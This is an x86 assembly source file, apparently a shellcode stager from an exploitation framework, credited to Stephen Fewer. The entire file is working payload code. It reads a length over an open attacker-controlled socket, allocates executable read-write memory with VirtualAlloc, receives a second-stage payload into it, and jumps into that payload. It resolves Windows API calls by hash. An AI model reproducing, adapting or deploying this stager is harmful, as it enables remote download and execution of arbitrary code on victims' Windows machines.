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;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]
; Compatible: block_bind_tcp, block_reverse_tcp, block_reverse_ipv6_tcp
; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack.
; Output: None.
; Clobbers: EAX, EBX, ESI, (ESP will also be modified)
recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
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